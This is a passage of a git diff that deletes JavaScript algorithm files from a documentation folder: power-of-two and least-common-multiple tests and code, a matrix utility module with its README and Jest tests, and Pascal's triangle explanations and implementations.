-        expect(isPowerOfTwo(8)).toBe(true);
-        expect(isPowerOfTwo(10)).toBe(false);
-        expect(isPowerOfTwo(12)).toBe(false);
-        expect(isPowerOfTwo(16)).toBe(true);
-        expect(isPowerOfTwo(31)).toBe(false);
-        expect(isPowerOfTwo(64)).toBe(true);
-        expect(isPowerOfTwo(1024)).toBe(true);
-        expect(isPowerOfTwo(1023)).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/is-power-of-two/test/isPowerOfTwoBitwise.test.js b/docs/content/DS_ALGO/algorithms/math/is-power-of-two/test/isPowerOfTwoBitwise.test.js
deleted file mode 100644
index 794cc3d287..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/is-power-of-two/test/isPowerOfTwoBitwise.test.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import isPowerOfTwoBitwise from '../isPowerOfTwoBitwise';
-describe('isPowerOfTwoBitwise', () => {
-    it('should check if the number is made by multiplying twos', () => {
-        expect(isPowerOfTwoBitwise(-1)).toBe(false);
-        expect(isPowerOfTwoBitwise(0)).toBe(false);
-        expect(isPowerOfTwoBitwise(1)).toBe(true);
-        expect(isPowerOfTwoBitwise(2)).toBe(true);
-        expect(isPowerOfTwoBitwise(3)).toBe(false);
-        expect(isPowerOfTwoBitwise(4)).toBe(true);
-        expect(isPowerOfTwoBitwise(5)).toBe(false);
-        expect(isPowerOfTwoBitwise(6)).toBe(false);
-        expect(isPowerOfTwoBitwise(7)).toBe(false);
-        expect(isPowerOfTwoBitwise(8)).toBe(true);
-        expect(isPowerOfTwoBitwise(10)).toBe(false);
-        expect(isPowerOfTwoBitwise(12)).toBe(false);
-        expect(isPowerOfTwoBitwise(16)).toBe(true);
-        expect(isPowerOfTwoBitwise(31)).toBe(false);
-        expect(isPowerOfTwoBitwise(64)).toBe(true);
-        expect(isPowerOfTwoBitwise(1024)).toBe(true);
-        expect(isPowerOfTwoBitwise(1023)).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/least-common-multiple/README.md b/docs/content/DS_ALGO/algorithms/math/least-common-multiple/README.md
deleted file mode 100644
index 88f38c78ff..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/least-common-multiple/README.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# Least common multiple
-
-In arithmetic and number theory, the least common multiple,
-lowest common multiple, or smallest common multiple of
-two integers `a` and `b`, usually denoted by `LCM(a, b)`, is
-the smallest positive integer that is divisible by
-both `a` and `b`. Since division of integers by zero is
-undefined, this definition has meaning only if `a` and `b` are
-both different from zero. However, some authors define `lcm(a,0)`
-as `0` for all `a`, which is the result of taking the `lcm`
-to be the least upper bound in the lattice of divisibility.
-
-## Example
-
-What is the LCM of 4 and 6?
-
-Multiples of `4` are:
-
-```
-4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 44, 48, 52, 56, 60, 64, 68, 72, 76, ...
-```
-
-and the multiples of `6` are:
-
-```
-6, 12, 18, 24, 30, 36, 42, 48, 54, 60, 66, 72, ...
-```
-
-Common multiples of `4` and `6` are simply the numbers
-that are in both lists:
-
-```
-12, 24, 36, 48, 60, 72, ....
-```
-
-So, from this list of the first few common multiples of
-the numbers `4` and `6`, their least common multiple is `12`.
-
-## Computing the least common multiple
-
-The following formula reduces the problem of computing the
-least common multiple to the problem of computing the greatest
-common divisor (GCD), also known as the greatest common factor:
-
-```
-lcm(a, b) = |a * b| / gcd(a, b)
-```
-
-![LCM](https://upload.wikimedia.org/wikipedia/commons/c/c9/Symmetrical_5-set_Venn_diagram_LCM_2_3_4_5_7.svg)
-
-A Venn diagram showing the least common multiples of
-combinations of `2`, `3`, `4`, `5` and `7` (`6` is skipped as
-it is `2 × 3`, both of which are already represented).
-
-For example, a card game which requires its cards to be
-divided equally among up to `5` players requires at least `60`
-cards, the number at the intersection of the `2`, `3`, `4`
-and `5` sets, but not the `7` set.
-
-## References
-
-[Wikipedia](https://en.wikipedia.org/wiki/Least_common_multiple)
diff --git a/docs/content/DS_ALGO/algorithms/math/least-common-multiple/leastCommonMultiple.js b/docs/content/DS_ALGO/algorithms/math/least-common-multiple/leastCommonMultiple.js
deleted file mode 100644
index 907ab7c594..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/least-common-multiple/leastCommonMultiple.js
+++ /dev/null
@@ -1,9 +0,0 @@
-import euclideanAlgorithm from '../euclidean-algorithm/euclideanAlgorithm';
-/**
- * @param {number} a
- * @param {number} b
- * @return {number}
- */
-export default function leastCommonMultiple(a, b) {
-    return a === 0 || b === 0 ? 0 : Math.abs(a * b) / euclideanAlgorithm(a, b);
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/least-common-multiple/test/leastCommonMultiple.test.js b/docs/content/DS_ALGO/algorithms/math/least-common-multiple/test/leastCommonMultiple.test.js
deleted file mode 100644
index b30e217c95..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/least-common-multiple/test/leastCommonMultiple.test.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import leastCommonMultiple from '../leastCommonMultiple';
-describe('leastCommonMultiple', () => {
-    it('should find least common multiple', () => {
-        expect(leastCommonMultiple(0, 0)).toBe(0);
-        expect(leastCommonMultiple(1, 0)).toBe(0);
-        expect(leastCommonMultiple(0, 1)).toBe(0);
-        expect(leastCommonMultiple(4, 6)).toBe(12);
-        expect(leastCommonMultiple(6, 21)).toBe(42);
-        expect(leastCommonMultiple(7, 2)).toBe(14);
-        expect(leastCommonMultiple(3, 5)).toBe(15);
-        expect(leastCommonMultiple(7, 3)).toBe(21);
-        expect(leastCommonMultiple(1000000, 2)).toBe(1000000);
-        expect(leastCommonMultiple(-9, -18)).toBe(18);
-        expect(leastCommonMultiple(-7, -9)).toBe(63);
-        expect(leastCommonMultiple(-7, 9)).toBe(63);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/matrix/Matrix.js b/docs/content/DS_ALGO/algorithms/math/matrix/Matrix.js
deleted file mode 100644
index 87199d414f..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/matrix/Matrix.js
+++ /dev/null
@@ -1,272 +0,0 @@
-/**
- * @typedef {number} Cell
- * @typedef {Cell[][]|Cell[][][]} Matrix
- * @typedef {number[]} Shape
- * @typedef {number[]} CellIndices
- */
-/**
- * Gets the matrix's shape.
- *
- * @param {Matrix} m
- * @returns {Shape}
- */
-export const shape = (m) => {
-    const shapes = [];
-    let dimension = m;
-    while (dimension && Array.isArray(dimension)) {
-        shapes.push(dimension.length);
-        dimension = (dimension.length && [...dimension][0]) || null;
-    }
-    return shapes;
-};
-/**
- * Checks if matrix has a correct type.
- *
- * @param {Matrix} m
- * @throws {Error}
- */
-const validateType = (m) => {
-    if (!m || !Array.isArray(m) || !Array.isArray(m[0])) {
-        throw new Error('Invalid matrix format');
-    }
-};
-/**
- * Checks if matrix is two dimensional.
- *
- * @param {Matrix} m
- * @throws {Error}
- */
-const validate2D = (m) => {
-    validateType(m);
-    const aShape = shape(m);
-    if (aShape.length !== 2) {
-        throw new Error('Matrix is not of 2D shape');
-    }
-};
-/**
- * Validates that matrices are of the same shape.
- *
- * @param {Matrix} a
- * @param {Matrix} b
- * @trows {Error}
- */
-export const validateSameShape = (a, b) => {
-    validateType(a);
-    validateType(b);
-    const aShape = shape(a);
-    const bShape = shape(b);
-    if (aShape.length !== bShape.length) {
-        throw new Error('Matrices have different dimensions');
-    }
-    while (aShape.length && bShape.length) {
-        if (aShape.pop() !== bShape.pop()) {
-            throw new Error('Matrices have different shapes');
-        }
-    }
-};
-/**
- * Generates the matrix of specific shape with specific values.
- *
- * @param {Shape} mShape - the shape of the matrix to generate
- * @param {function({CellIndex}): Cell} fill - cell values of a generated matrix.
- * @returns {Matrix}
- */
-export const generate = (mShape, fill) => {
-    /**
-     * Generates the matrix recursively.
-     *
-     * @param {Shape} recShape - the shape of the matrix to generate
-     * @param {CellIndices} recIndices
-     * @returns {Matrix}
-     */
-    const generateRecursively = (recShape, recIndices) => {
-        if (recShape.length === 1) {
-            return Array(recShape[0])
-                .fill(null)
-                .map((cellValue, cellIndex) => fill([...recIndices, cellIndex]));
-        }
-        const m = [];
-        for (let i = 0; i < recShape[0]; i += 1) {
-            m.push(generateRecursively(recShape.slice(1), [...recIndices, i]));
-        }
-        return m;
-    };
-    return generateRecursively(mShape, []);
-};
-/**
- * Generates the matrix of zeros of specified shape.
- *
- * @param {Shape} mShape - shape of the matrix
- * @returns {Matrix}
- */
-export const zeros = (mShape) => {
-    return generate(mShape, () => 0);
-};
-/**
- * @param {Matrix} a
- * @param {Matrix} b
- * @return Matrix
- * @throws {Error}
- */
-export const dot = (a, b) => {
-    // Validate inputs.
-    validate2D(a);
-    validate2D(b);
-    // Check dimensions.
-    const aShape = shape(a);
-    const bShape = shape(b);
-    if (aShape[1] !== bShape[0]) {
-        throw new Error('Matrices have incompatible shape for multiplication');
-    }
-    // Perform matrix multiplication.
-    const outputShape = [aShape[0], bShape[1]];
-    const c = zeros(outputShape);
-    for (let bCol = 0; bCol < b[0].length; bCol += 1) {
-        for (let aRow = 0; aRow < a.length; aRow += 1) {
-            let cellSum = 0;
-            for (let aCol = 0; aCol < a[aRow].length; aCol += 1) {
-                cellSum += a[aRow][aCol] * b[aCol][bCol];
-            }
-            c[aRow][bCol] = cellSum;
-        }
-    }
-    return c;
-};
-/**
- * Transposes the matrix.
- *
- * @param {Matrix} m
- * @returns Matrix
- * @throws {Error}
- */
-export const t = (m) => {
-    validate2D(m);
-    const mShape = shape(m);
-    const transposed = zeros([mShape[1], mShape[0]]);
-    for (let row = 0; row < m.length; row += 1) {
-        for (let col = 0; col < m[0].length; col += 1) {
-            transposed[col][row] = m[row][col];
-        }
-    }
-    return transposed;
-};
-/**
- * Traverses the matrix.
- *
- * @param {Matrix} m
- * @param {function(indices: CellIndices, c: Cell)} visit
- */
-export const walk = (m, visit) => {
-    /**
-     * Traverses the matrix recursively.
-     *
-     * @param {Matrix} recM
-     * @param {CellIndices} cellIndices
-     * @return {Matrix}
-     */
-    const recWalk = (recM, cellIndices) => {
-        const recMShape = shape(recM);
-        if (recMShape.length === 1) {
-            for (let i = 0; i < recM.length; i += 1) {
-                visit([...cellIndices, i], recM[i]);
-            }
-        }
-        for (let i = 0; i < recM.length; i += 1) {
-            recWalk(recM[i], [...cellIndices, i]);
-        }
-    };
-    recWalk(m, []);
-};
-/**
- * Gets the matrix cell value at specific index.
- *
- * @param {Matrix} m - Matrix that contains the cell that needs to be updated
- * @param {CellIndices} cellIndices - Array of cell indices
- * @return {Cell}
- */
-export const getCellAtIndex = (m, cellIndices) => {
-    // We start from the row at specific index.
-    let cell = m[cellIndices[0]];
-    // Going deeper into the next dimensions but not to the last one to preserve
-    // the pointer to the last dimension array.
-    for (let dimIdx = 1; dimIdx < cellIndices.length - 1; dimIdx += 1) {
-        cell = cell[cellIndices[dimIdx]];
-    }
-    // At this moment the cell variable points to the array at the last needed dimension.
-    return cell[cellIndices[cellIndices.length - 1]];
-};
-/**
- * Update the matrix cell at specific index.
- *
- * @param {Matrix} m - Matrix that contains the cell that needs to be updated
- * @param {CellIndices} cellIndices - Array of cell indices
- * @param {Cell} cellValue - New cell value
- */
-export const updateCellAtIndex = (m, cellIndices, cellValue) => {
-    // We start from the row at specific index.
-    let cell = m[cellIndices[0]];
-    // Going deeper into the next dimensions but not to the last one to preserve
-    // the pointer to the last dimension array.
-    for (let dimIdx = 1; dimIdx < cellIndices.length - 1; dimIdx += 1) {
-        cell = cell[cellIndices[dimIdx]];
-    }
-    // At this moment the cell variable points to the array at the last needed dimension.
-    cell[cellIndices[cellIndices.length - 1]] = cellValue;
-};
-/**
- * Adds two matrices element-wise.
- *
- * @param {Matrix} a
- * @param {Matrix} b
- * @return {Matrix}
- */
-export const add = (a, b) => {
-    validateSameShape(a, b);
-    const result = zeros(shape(a));
-    walk(a, (cellIndices, cellValue) => {
-        updateCellAtIndex(result, cellIndices, cellValue);
-    });
-    walk(b, (cellIndices, cellValue) => {
-        const currentCellValue = getCellAtIndex(result, cellIndices);
-        updateCellAtIndex(result, cellIndices, currentCellValue + cellValue);
-    });
-    return result;
-};
-/**
- * Multiplies two matrices element-wise.
- *
- * @param {Matrix} a
- * @param {Matrix} b
- * @return {Matrix}
- */
-export const mul = (a, b) => {
-    validateSameShape(a, b);
-    const result = zeros(shape(a));
-    walk(a, (cellIndices, cellValue) => {
-        updateCellAtIndex(result, cellIndices, cellValue);
-    });
-    walk(b, (cellIndices, cellValue) => {
-        const currentCellValue = getCellAtIndex(result, cellIndices);
-        updateCellAtIndex(result, cellIndices, currentCellValue * cellValue);
-    });
-    return result;
-};
-/**
- * Subtract two matrices element-wise.
- *
- * @param {Matrix} a
- * @param {Matrix} b
- * @return {Matrix}
- */
-export const sub = (a, b) => {
-    validateSameShape(a, b);
-    const result = zeros(shape(a));
-    walk(a, (cellIndices, cellValue) => {
-        updateCellAtIndex(result, cellIndices, cellValue);
-    });
-    walk(b, (cellIndices, cellValue) => {
-        const currentCellValue = getCellAtIndex(result, cellIndices);
-        updateCellAtIndex(result, cellIndices, currentCellValue - cellValue);
-    });
-    return result;
-};
diff --git a/docs/content/DS_ALGO/algorithms/math/matrix/README.md b/docs/content/DS_ALGO/algorithms/math/matrix/README.md
deleted file mode 100644
index bfe021ff6b..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/matrix/README.md
+++ /dev/null
@@ -1,63 +0,0 @@
-# Matrices
-
-In mathematics, a **matrix** (plural **matrices**) is a rectangular array or table of numbers, symbols, or expressions, arranged in rows and columns. For example, the dimension of the matrix below is `2 × 3` (read "two by three"), because there are two rows and three columns:
-
-```
-| 1  9 -13 |
-| 20 5 -6  |
-```
-
-![An `m × n` matrix](https://upload.wikimedia.org/wikipedia/commons/b/bf/Matris.png)
-
-An `m × n` matrix: the `m` rows are horizontal, and the `n` columns are vertical. Each element of a matrix is often denoted by a variable with two subscripts. For example, <i>a<sub>2,1</sub></i> represents the element at the second row and first column of the matrix
-
-## Operations on matrices
-
-### Addition
-
-To add two matrices: add the numbers in the matching positions:
-
-![Matrices addition](https://www.mathsisfun.com/algebra/images/matrix-addition.gif)
-
-The two matrices must be the same size, i.e. the rows must match in size, and the columns must match in size.
-
-### Subtracting
-
-To subtract two matrices: subtract the numbers in the matching positions:
-
-![Matrices subtraction](https://www.mathsisfun.com/algebra/images/matrix-subtraction.gif)
-
-### Multiply by a Constant
-
-We can multiply a matrix by a constant (the value 2 in this case):
-
-![Matrices multiplication be a constant](https://www.mathsisfun.com/algebra/images/matrix-multiply-constant.gif)
-
-### Multiplying by Another Matrix
-
-To multiply a matrix by another matrix we need to do the [dot product](https://www.mathsisfun.com/algebra/vectors-dot-product.html) of rows and columns.
-
-To work out the answer for the **1st row** and **1st column**:
-
-![Matrices multiplication - 1st step](https://www.mathsisfun.com/algebra/images/matrix-multiply-a.svg)
-
-Here it is for the 1st row and 2nd column:
-
-![Matrices multiplication - 2st step](https://www.mathsisfun.com/algebra/images/matrix-multiply-b.svg)
-
-If we'll do the same for the rest of the rows and columns we'll get the following resulting matrix:
-
-![Matrices multiplication - Result](https://www.mathsisfun.com/algebra/images/matrix-multiply-c.svg)
-
-### Transposing
-
-To "transpose" a matrix, swap the rows and columns.
-
-We put a "T" in the top right-hand corner to mean transpose:
-
-![Transposing](https://www.mathsisfun.com/algebra/images/matrix-transpose.gif)
-
-## References
-
--   [Matrices on MathIsFun](https://www.mathsisfun.com/algebra/matrix-introduction.html)
--   [Matrix on Wikipedia](<https://en.wikipedia.org/wiki/Matrix_(mathematics)>)
diff --git a/docs/content/DS_ALGO/algorithms/math/matrix/__tests__/Matrix.test.js b/docs/content/DS_ALGO/algorithms/math/matrix/__tests__/Matrix.test.js
deleted file mode 100644
index e6f1ee5f65..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/matrix/__tests__/Matrix.test.js
+++ /dev/null
@@ -1,325 +0,0 @@
-import * as mtrx from '../Matrix';
-describe('Matrix', () => {
-    it('should throw when trying to add matrices of invalid shapes', () => {
-        expect(() => mtrx.dot([0], [1])).toThrowError('Invalid matrix format');
-        expect(() => mtrx.dot([[0]], [1])).toThrowError('Invalid matrix format');
-        expect(() => mtrx.dot([[[0]]], [[1]])).toThrowError('Matrix is not of 2D shape');
-        expect(() => mtrx.dot([[0]], [[1], [2]])).toThrowError('Matrices have incompatible shape for multiplication');
-    });
-    it('should calculate matrices dimensions', () => {
-        expect(mtrx.shape([])).toEqual([0]);
-        expect(mtrx.shape([[]])).toEqual([1, 0]);
-        expect(mtrx.shape([[0]])).toEqual([1, 1]);
-        expect(mtrx.shape([[0, 0]])).toEqual([1, 2]);
-        expect(
-            mtrx.shape([
-                [0, 0],
-                [0, 0]
-            ])
-        ).toEqual([2, 2]);
-        expect(
-            mtrx.shape([
-                [0, 0, 0],
-                [0, 0, 0]
-            ])
-        ).toEqual([2, 3]);
-        expect(
-            mtrx.shape([
-                [0, 0],
-                [0, 0],
-                [0, 0]
-            ])
-        ).toEqual([3, 2]);
-        expect(
-            mtrx.shape([
-                [0, 0, 0],
-                [0, 0, 0],
-                [0, 0, 0]
-            ])
-        ).toEqual([3, 3]);
-        expect(mtrx.shape([[0], [0], [0]])).toEqual([3, 1]);
-        expect(
-            mtrx.shape([
-                [[0], [0], [0]],
-                [[0], [0], [0]],
-                [[0], [0], [0]]
-            ])
-        ).toEqual([3, 3, 1]);
-        expect(
-            mtrx.shape([
-                [
-                    [0, 0, 0],
-                    [0, 0, 0],
-                    [0, 0, 0]
-                ],
-                [
-                    [0, 0, 0],
-                    [0, 0, 0],
-                    [0, 0, 0]
-                ],
-                [
-                    [0, 0, 0],
-                    [0, 0, 0],
-                    [0, 0, 0]
-                ]
-            ])
-        ).toEqual([3, 3, 3]);
-    });
-    it('should generate the matrix of zeros', () => {
-        expect(mtrx.zeros([1, 0])).toEqual([[]]);
-        expect(mtrx.zeros([1, 1])).toEqual([[0]]);
-        expect(mtrx.zeros([1, 3])).toEqual([[0, 0, 0]]);
-        expect(mtrx.zeros([3, 3])).toEqual([
-            [0, 0, 0],
-            [0, 0, 0],
-            [0, 0, 0]
-        ]);
-        expect(mtrx.zeros([3, 3, 1])).toEqual([
-            [[0], [0], [0]],
-            [[0], [0], [0]],
-            [[0], [0], [0]]
-        ]);
-    });
-    it('should generate the matrix with custom values', () => {
-        expect(mtrx.generate([1, 0], () => 1)).toEqual([[]]);
-        expect(mtrx.generate([1, 1], () => 1)).toEqual([[1]]);
-        expect(mtrx.generate([1, 3], () => 1)).toEqual([[1, 1, 1]]);
-        expect(mtrx.generate([3, 3], () => 1)).toEqual([
-            [1, 1, 1],
-            [1, 1, 1],
-            [1, 1, 1]
-        ]);
-        expect(mtrx.generate([3, 3, 1], () => 1)).toEqual([
-            [[1], [1], [1]],
-            [[1], [1], [1]],
-            [[1], [1], [1]]
-        ]);
-    });
-    it('should generate a custom matrix based on specific cell indices', () => {
-        const indicesCallback = jest.fn((indices) => {
-            return indices[0] * 10 + indices[1];
-        });
-        const m = mtrx.generate([3, 3], indicesCallback);
-        expect(indicesCallback).toHaveBeenCalledTimes(3 * 3);
-        expect(indicesCallback.mock.calls[0][0]).toEqual([0, 0]);
-        expect(indicesCallback.mock.calls[1][0]).toEqual([0, 1]);
-        expect(indicesCallback.mock.calls[2][0]).toEqual([0, 2]);
-        expect(indicesCallback.mock.calls[3][0]).toEqual([1, 0]);
-        expect(indicesCallback.mock.calls[4][0]).toEqual([1, 1]);
-        expect(indicesCallback.mock.calls[5][0]).toEqual([1, 2]);
-        expect(indicesCallback.mock.calls[6][0]).toEqual([2, 0]);
-        expect(indicesCallback.mock.calls[7][0]).toEqual([2, 1]);
-        expect(indicesCallback.mock.calls[8][0]).toEqual([2, 2]);
-        expect(m).toEqual([
-            [0, 1, 2],
-            [10, 11, 12],
-            [20, 21, 22]
-        ]);
-    });
-    it('should multiply two matrices', () => {
-        let c;
-        c = mtrx.dot(
-            [
-                [1, 2],
-                [3, 4]
-            ],
-            [
-                [5, 6],
-                [7, 8]
-            ]
-        );
-        expect(mtrx.shape(c)).toEqual([2, 2]);
-        expect(c).toEqual([
-            [19, 22],
-            [43, 50]
-        ]);
-        c = mtrx.dot(
-            [
-                [1, 2],
-                [3, 4]
-            ],
-            [[5], [6]]
-        );
-        expect(mtrx.shape(c)).toEqual([2, 1]);
-        expect(c).toEqual([[17], [39]]);
-        c = mtrx.dot(
-            [
-                [1, 2, 3],
-                [4, 5, 6]
-            ],
-            [
-                [7, 8],
-                [9, 10],
-                [11, 12]
-            ]
-        );
-        expect(mtrx.shape(c)).toEqual([2, 2]);
-        expect(c).toEqual([
-            [58, 64],
-            [139, 154]
-        ]);
-        c = mtrx.dot(
-            [[3, 4, 2]],
-            [
-                [13, 9, 7, 5],
-                [8, 7, 4, 6],
-                [6, 4, 0, 3]
-            ]
-        );
-        expect(mtrx.shape(c)).toEqual([1, 4]);
-        expect(c).toEqual([[83, 63, 37, 45]]);
-    });
-    it('should transpose matrices', () => {
-        expect(mtrx.t([[1, 2, 3]])).toEqual([[1], [2], [3]]);
-        expect(mtrx.t([[1], [2], [3]])).toEqual([[1, 2, 3]]);
-        expect(
-            mtrx.t([
-                [1, 2, 3],
-                [4, 5, 6]
-            ])
-        ).toEqual([
-            [1, 4],
-            [2, 5],
-            [3, 6]
-        ]);
-        expect(
-            mtrx.t([
-                [1, 2, 3],
-                [4, 5, 6],
-                [7, 8, 9]
-            ])
-        ).toEqual([
-            [1, 4, 7],
-            [2, 5, 8],
-            [3, 6, 9]
-        ]);
-    });
-    it('should throw when trying to transpose non 2D matrix', () => {
-        expect(() => {
-            mtrx.t([[[1]]]);
-        }).toThrowError('Matrix is not of 2D shape');
-    });
-    it('should add two matrices', () => {
-        expect(mtrx.add([[1]], [[2]])).toEqual([[3]]);
-        expect(mtrx.add([[1, 2, 3]], [[4, 5, 6]])).toEqual([[5, 7, 9]]);
-        expect(mtrx.add([[1], [2], [3]], [[4], [5], [6]])).toEqual([[5], [7], [9]]);
-        expect(
-            mtrx.add(
-                [
-                    [1, 2, 3],
-                    [4, 5, 6],
-                    [7, 8, 9]
-                ],
-                [
-                    [10, 11, 12],
-                    [13, 14, 15],
-                    [16, 17, 18]
-                ]
-            )
-        ).toEqual([
-            [11, 13, 15],
-            [17, 19, 21],
-            [23, 25, 27]
-        ]);
-        expect(
-            mtrx.add(
-                [
-                    [[1], [2], [3]],
-                    [[4], [5], [6]],
-                    [[7], [8], [9]]
-                ],
-                [
-                    [[10], [11], [12]],
-                    [[13], [14], [15]],
-                    [[16], [17], [18]]
-                ]
-            )
-        ).toEqual([
-            [[11], [13], [15]],
-            [[17], [19], [21]],
-            [[23], [25], [27]]
-        ]);
-    });
-    it('should throw when trying to add matrices of different shape', () => {
-        expect(() => mtrx.add([[0]], [[[0]]])).toThrowError('Matrices have different dimensions');
-        expect(() => mtrx.add([[0]], [[0, 0]])).toThrowError('Matrices have different shapes');
-    });
-    it('should do element wise multiplication two matrices', () => {
-        expect(mtrx.mul([[2]], [[3]])).toEqual([[6]]);
-        expect(mtrx.mul([[1, 2, 3]], [[4, 5, 6]])).toEqual([[4, 10, 18]]);
-        expect(mtrx.mul([[1], [2], [3]], [[4], [5], [6]])).toEqual([[4], [10], [18]]);
-        expect(
-            mtrx.mul(
-                [
-                    [1, 2],
-                    [3, 4]
-                ],
-                [
-                    [5, 6],
-                    [7, 8]
-                ]
-            )
-        ).toEqual([
-            [5, 12],
-            [21, 32]
-        ]);
-        expect(
-            mtrx.mul(
-                [
-                    [[1], [2]],
-                    [[3], [4]]
-                ],
-                [
-                    [[5], [6]],
-                    [[7], [8]]
-                ]
-            )
-        ).toEqual([
-            [[5], [12]],
-            [[21], [32]]
-        ]);
-    });
-    it('should throw when trying to multiply matrices element-wise of different shape', () => {
-        expect(() => mtrx.mul([[0]], [[[0]]])).toThrowError('Matrices have different dimensions');
-        expect(() => mtrx.mul([[0]], [[0, 0]])).toThrowError('Matrices have different shapes');
-    });
-    it('should do element wise subtraction two matrices', () => {
-        expect(mtrx.sub([[3]], [[2]])).toEqual([[1]]);
-        expect(mtrx.sub([[10, 12, 14]], [[4, 5, 6]])).toEqual([[6, 7, 8]]);
-        expect(mtrx.sub([[[10], [12], [14]]], [[[4], [5], [6]]])).toEqual([[[6], [7], [8]]]);
-        expect(
-            mtrx.sub(
-                [
-                    [10, 20],
-                    [30, 40]
-                ],
-                [
-                    [5, 6],
-                    [7, 8]
-                ]
-            )
-        ).toEqual([
-            [5, 14],
-            [23, 32]
-        ]);
-        expect(
-            mtrx.sub(
-                [
-                    [[10], [20]],
-                    [[30], [40]]
-                ],
-                [
-                    [[5], [6]],
-                    [[7], [8]]
-                ]
-            )
-        ).toEqual([
-            [[5], [14]],
-            [[23], [32]]
-        ]);
-    });
-    it('should throw when trying to subtract matrices element-wise of different shape', () => {
-        expect(() => mtrx.sub([[0]], [[[0]]])).toThrowError('Matrices have different dimensions');
-        expect(() => mtrx.sub([[0]], [[0, 0]])).toThrowError('Matrices have different shapes');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/pascal-triangle/README.md b/docs/content/DS_ALGO/algorithms/math/pascal-triangle/README.md
deleted file mode 100644
index 8405e25af5..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/pascal-triangle/README.md
+++ /dev/null
@@ -1,64 +0,0 @@
-# Pascal's Triangle
-
-In mathematics, **Pascal's triangle** is a triangular array of
-the [binomial coefficients](https://en.wikipedia.org/wiki/Binomial_coefficient).
-
-The rows of Pascal's triangle are conventionally enumerated
-starting with row `n = 0` at the top (the `0th` row). The
-entries in each row are numbered from the left beginning
-with `k = 0` and are usually staggered relative to the
-numbers in the adjacent rows. The triangle may be constructed
-in the following manner: In row `0` (the topmost row), there
-is a unique nonzero entry `1`. Each entry of each subsequent
-row is constructed by adding the number above and to the
-left with the number above and to the right, treating blank
-entries as `0`. For example, the initial number in the
-first (or any other) row is `1` (the sum of `0` and `1`),
-whereas the numbers `1` and `3` in the third row are added
-to produce the number `4` in the fourth row.
-
-![Pascal's Triangle](https://upload.wikimedia.org/wikipedia/commons/0/0d/PascalTriangleAnimated2.gif)
-
-## Formula
-
-The entry in the `nth` row and `kth` column of Pascal's
-triangle is denoted ![Formula](https://wikimedia.org/api/rest_v1/media/math/render/svg/206415d3742167e319b2e52c2ca7563b799abad7).
-For example, the unique nonzero entry in the topmost
-row is ![Formula example](https://wikimedia.org/api/rest_v1/media/math/render/svg/b7e35f86368d5978b46c07fd6dddca86bd6e635c).
-
-With this notation, the construction of the previous
-paragraph may be written as follows:
-
-![Formula](https://wikimedia.org/api/rest_v1/media/math/render/svg/203b128a098e18cbb8cf36d004bd7282b28461bf)
-
-for any non-negative integer `n` and any
-integer `k` between `0` and `n`, inclusive.
-
-![Binomial Coefficient](https://wikimedia.org/api/rest_v1/media/math/render/svg/a2457a7ef3c77831e34e06a1fe17a80b84a03181)
-
-## Calculating triangle entries in O(n) time
-
-We know that `i`-th entry in a line number `lineNumber` is
-Binomial Coefficient `C(lineNumber, i)` and all lines start
-with value `1`. The idea is to
-calculate `C(lineNumber, i)` using `C(lineNumber, i-1)`. It
-can be calculated in `O(1)` time using the following:
-
-```
-C(lineNumber, i)   = lineNumber! / ((lineNumber - i)! * i!)
-C(lineNumber, i - 1) = lineNumber! / ((lineNumber - i + 1)! * (i - 1)!)
-```
-
-We can derive following expression from above two expressions:
-
-```
-C(lineNumber, i) = C(lineNumber, i - 1) * (lineNumber - i + 1) / i
-```
-
-So `C(lineNumber, i)` can be calculated
-from `C(lineNumber, i - 1)` in `O(1)` time.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Pascal%27s_triangle)
--   [GeeksForGeeks](https://www.geeksforgeeks.org/pascal-triangle/)
diff --git a/docs/content/DS_ALGO/algorithms/math/pascal-triangle/pascalTriangle.js b/docs/content/DS_ALGO/algorithms/math/pascal-triangle/pascalTriangle.js
deleted file mode 100644
index 563e6a3c0a..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/pascal-triangle/pascalTriangle.js
+++ /dev/null
@@ -1,13 +0,0 @@
-/**
- * @param {number} lineNumber - zero based.
- * @return {number[]}
- */
-export default function pascalTriangle(lineNumber) {
-    const currentLine = [1];
-    const currentLineSize = lineNumber + 1;
-    for (let numIndex = 1; numIndex < currentLineSize; numIndex += 1) {
-        // See explanation of this formula in README.
-        currentLine[numIndex] = (currentLine[numIndex - 1] * (lineNumber - numIndex + 1)) / numIndex;
-    }
-    return currentLine;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/pascal-triangle/pascalTriangleRecursive.js b/docs/content/DS_ALGO/algorithms/math/pascal-triangle/pascalTriangleRecursive.js
deleted file mode 100644
index eee5eff007..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/pascal-triangle/pascalTriangleRecursive.js
+++ /dev/null
@@ -1,24 +0,0 @@
-/**
- * @param {number} lineNumber - zero based.
- * @return {number[]}
- */
-export default function pascalTriangleRecursive(lineNumber) {
-    if (lineNumber === 0) {
-        return [1];
-    }
-    const currentLineSize = lineNumber + 1;
-    const previousLineSize = currentLineSize - 1;
-    // Create container for current line values.
-    const currentLine = [];
-    // We'll calculate current line based on previous one.
-    const previousLine = pascalTriangleRecursive(lineNumber - 1);
-    // Let's go through all elements of current line except the first and
-    // last one (since they were and will be filled with 1's) and calculate
-    // current coefficient based on previous line.
-    for (let numIndex = 0; numIndex < currentLineSize; numIndex += 1) {
-        const leftCoefficient = numIndex - 1 >= 0 ? previousLine[numIndex - 1] : 0;
-        const rightCoefficient = numIndex < previousLineSize ? previousLine[numIndex] : 0;
-        currentLine[numIndex] = leftCoefficient + rightCoefficient;
-    }
